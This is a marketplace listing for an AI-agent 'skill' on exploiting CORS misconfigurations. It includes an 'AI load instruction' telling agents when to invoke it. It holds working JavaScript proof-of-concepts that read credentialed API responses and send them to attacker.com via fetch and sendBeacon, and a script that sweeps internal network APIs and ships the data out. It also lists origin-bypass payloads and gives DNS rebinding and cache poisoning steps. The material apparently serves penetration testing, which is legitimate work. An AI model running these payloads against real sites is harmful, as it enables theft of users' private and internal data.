Install
$ agentstack add skill-yaklang-hack-skills-cors-cross-origin-misconfiguration ✓ scanned · ✓ verified, works with Claude Code, Cursor, and more.
Security review
✓ PassedNo issues found. Passed automated security review. · v0.1.0 How review works →
- ✓ Prompt-injection patterns
- ✓ Secret / credential exfiltration
- ✓ Dangerous shell & filesystem operations
- ✓ Untrusted network calls
- ✓ Known-malicious package signatures
What it can access
- ● Network access Used
- ✓ Filesystem access No
- ✓ Shell / process execution No
- ✓ Environment & secrets No
- ✓ Dynamic code execution No
From automated source analysis of v0.1.0. “Used” means the capability is present in the source — more access means more to trust, not that it’s unsafe.
Verified badge
Passed review? Show it. Paste this badge into your README, it links to the public security report.
Reliability & compatibility
Declared compatibility
Compatibility is declared by the source manifest. End-to-end runtime verification is coming, see below.
We're building live execution health for every listing: tool-call success rate, median latency, uptime, and last-checked timestamps, measured, not self-reported. It isn't live yet, so we don't show numbers we can't stand behind.
How agent discovery & health will work →About
SKILL: CORS Misconfiguration — Credentialed Origins, Reflection, and Trust Boundary Errors
> AI LOAD INSTRUCTION: Use this skill when browsers can access authenticated APIs cross-origin. Focus on reflected origins, credentialed requests, wildcard trust, parser mistakes, and origin allowlist bypasses. For JSONP hijacking deep dives, same-origin policy internals, honeypot de-anonymization, and CORS vs JSONP comparison, load the companion [SCENARIOS.md](./SCENARIOS.md).
Extended Scenarios
Also load [SCENARIOS.md](./SCENARIOS.md) when you need:
- JSONP hijacking complete attack scenario — watering hole + `` cross-origin data theft
- Honeypot de-anonymization via JSONP — use social platform JSONP endpoints to identify anonymous visitors
- Same-origin policy deep dive — protocol/hostname/port definition,
document.domainsubdomain relaxation and its security risks - CORS vs JSONP technical comparison — methods, error handling, credential behavior, migration path
- CORS exploitation payloads — reflected origin with
credentials: include, null origin via sandboxed iframe - Dual-site attack lab pattern — localhost:8981 (target) + localhost:8982 (attacker) testing setup
1. WHEN TO LOAD THIS SKILL
Load when:
- Responses contain
Access-Control-Allow-Origin,Access-Control-Allow-Credentials, or preflight headers - A browser-based attack path might read authenticated API responses
- JSON endpoints appear protected from CSRF but are readable cross-origin
2. HIGH-VALUE MISCONFIGURATION CHECKS
| Theme | What to Check | |---|---| | wildcard with credentials | Access-Control-Allow-Origin: * plus credential support or equivalent broken behavior | | reflected origin | server echoes arbitrary Origin | | weak allowlist | suffix, prefix, substring, regex, or mixed-case matching errors | | null origin | acceptance of sandboxed, file, or serialized origins | | preflight trust | overbroad methods and headers | | internal API exposure | admin or tenant data readable cross-origin |
3. QUICK TRIAGE
- Send crafted
Originheaders and inspect reflection. - Test with and without credentials.
- Probe allowlist bypasses using attacker subdomains and parser edge cases.
- If readable data is sensitive, chain to account or tenant impact.
4. RELATED ROUTES
- Session or JSON action abuse: [csrf cross site request forgery](../csrf-cross-site-request-forgery/SKILL.md)
- OAuth token leakage and callback binding: [oauth oidc misconfiguration](../oauth-oidc-misconfiguration/SKILL.md)
- API auth context: [api auth and jwt abuse](../api-auth-and-jwt-abuse/SKILL.md)
5. NULL ORIGIN EXPLOITATION
How Origin: null is sent
| Context | Origin Header Value | |---------|-------------------| | Sandboxed iframe (`) | null | | data: URI scheme | null | | file: protocol (local HTML) | null | | Cross-origin redirect chain (some browsers) | null | | Serialized data in blob: URL from opaque origin | null` |
Exploitation
If the server includes null in its origin allowlist or reflects it:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
fetch('https://target.com/api/user/profile', {credentials: 'include'})
.then(r => r.json())
.then(d => fetch('https://attacker.com/log?data=' + btoa(JSON.stringify(d))));
">
The sandboxed iframe sends Origin: null → server reflects null → attacker reads credentialed response.
6. SUBDOMAIN XSS → CORS BYPASS CHAIN
Attack flow
1. Target API at api.target.com allows CORS from *.target.com
2. Find XSS on any subdomain: blog.target.com, dev.target.com, etc.
3. Exploit XSS to make credentialed requests to api.target.com
4. CORS allows the request → attacker reads sensitive API responses
PoC (injected via XSS on blog.target.com)
fetch('https://api.target.com/v1/user/profile', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
navigator.sendBeacon('https://attacker.com/exfil',
JSON.stringify(data));
});
Why this works
blog.target.comis same-site withapi.target.com→SameSitecookies sent- CORS allowlist includes
*.target.com→Access-Control-Allow-Origin: https://blog.target.com - Combined: SameSite bypass + CORS read = full API access from XSS on any subdomain
Reconnaissance for this chain
□ Enumerate subdomains (amass, subfinder, crt.sh)
□ Test each for XSS (stored, reflected, DOM)
□ Check if API CORS accepts subdomain origins
□ Subdomain takeover candidates also qualify
7. VARY: ORIGIN CACHING ISSUE
Problem
When the server reflects Origin in Access-Control-Allow-Origin but does not include Vary: Origin in the response, intermediary caches (CDN, reverse proxy) may serve the same cached response to different origins:
1. Attacker requests: Origin: https://attacker.com
Response cached with: Access-Control-Allow-Origin: https://attacker.com
2. Victim requests same URL (no Origin or different Origin)
Cache serves response with: Access-Control-Allow-Origin: https://attacker.com
→ Victim's browser allows attacker.com to read the response (CORS cache poisoning)
Detection
# Request 1: with attacker origin
curl -H "Origin: https://evil.com" https://target.com/api/data -I
# Request 2: with legitimate origin
curl -H "Origin: https://target.com" https://target.com/api/data -I
# Compare: if both responses have Access-Control-Allow-Origin: https://evil.com
# → cache poisoned, Vary: Origin is missing
Exploitation
1. Warm the cache: send request with Origin: https://attacker.com
2. Wait for victim to access the same cached URL
3. Cached ACAO header allows attacker.com to read the response
4. Attacker page fetches the URL → reads cached response with credentials
Fix verification
□ Response includes Vary: Origin
□ Cache key includes the Origin header
□ Alternatively: Access-Control-Allow-Origin is not reflected (hardcoded allowlist)
8. REGEX BYPASS PATTERNS
Common flawed regex patterns for origin validation:
| Intended Pattern | Flaw | Bypass Origin | |-----------------|------|---------------| | ^https?://.*\.target\.com$ | .* matches anything including - | https://attacker-target.com | | ^https?://.*target\.com$ | Missing anchor after subdomain | https://nottarget.com, https://attacker.com/.target.com | | target\.com (substring match) | No anchors | https://attacker.com?target.com | | ^https?://(.*\.)?target\.com$ | Missing port restriction | https://target.com.attacker.com:443 | | ^https://[a-z]+\.target\.com$ | Missing end anchor for path | N/A (but misses subdomains with - or digits) | | Backtracking-vulnerable regex | ReDoS | https://aaaa...aaa.target.com (CPU exhaustion) |
Test payloads for origin validation bypass
https://attacker.com/.target.com
https://target.com.attacker.com
https://attackertarget.com
https://target.com%60attacker.com
https://target.com%2F@attacker.com
https://attacker.com#.target.com
https://attacker.com?.target.com
null
Advanced: Unicode normalization bypass
https://target.com → https://ⓣarget.com (Unicode homoglyph)
Some origin validators normalize Unicode after comparison, while the browser sends the original — or vice versa.
9. INTERNAL NETWORK CORS EXPLOITATION
Scenario
An internal-only API (e.g., http://192.168.1.100:8080/admin) is configured with:
Access-Control-Allow-Origin: *
Internal APIs often use wildcard CORS because "only internal users can reach it."
Attack chain
1. Attacker sends victim (internal employee) a link to attacker.com
2. Attacker page JavaScript fetches internal API:
fetch('http://192.168.1.100:8080/admin/users')
3. CORS allows * → response readable
4. Exfiltrate internal data to attacker server
// On attacker.com — target internal API from victim's browser
const internalAPIs = [
'http://192.168.1.1/admin/config',
'http://10.0.0.1:8080/api/users',
'http://172.16.0.1:9200/_cat/indices', // Elasticsearch
'http://localhost:8500/v1/agent/members', // Consul
];
internalAPIs.forEach(url => {
fetch(url)
.then(r => r.text())
.then(data => {
navigator.sendBeacon('https://attacker.com/exfil',
JSON.stringify({url, data}));
})
.catch(() => {});
});
Port scanning via CORS timing
Even without Access-Control-Allow-Origin: *, the attacker can infer internal service availability:
- Port open: connection established → CORS error (different timing)
- Port closed: connection refused → fast error
- Host down: timeout → slow error
Combined with DNS rebinding
1. Attacker controls attacker.com with short TTL (e.g., 0 or 1)
2. First DNS resolution: attacker.com → attacker's IP (serves malicious JS)
3. Second DNS resolution: attacker.com → 192.168.1.100 (internal IP)
4. JavaScript on the page fetches attacker.com/admin → now hits internal server
5. Same-origin policy satisfied (same domain) → response readable
Source & license
This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.
- Author: yaklang
- Source: yaklang/hack-skills
- License: MIT
Install and usage instructions live in the source repository linked above.
Reviews
No reviews yet, be the first.
Write a review
Versions
- v0.1.0 Imported from the upstream source.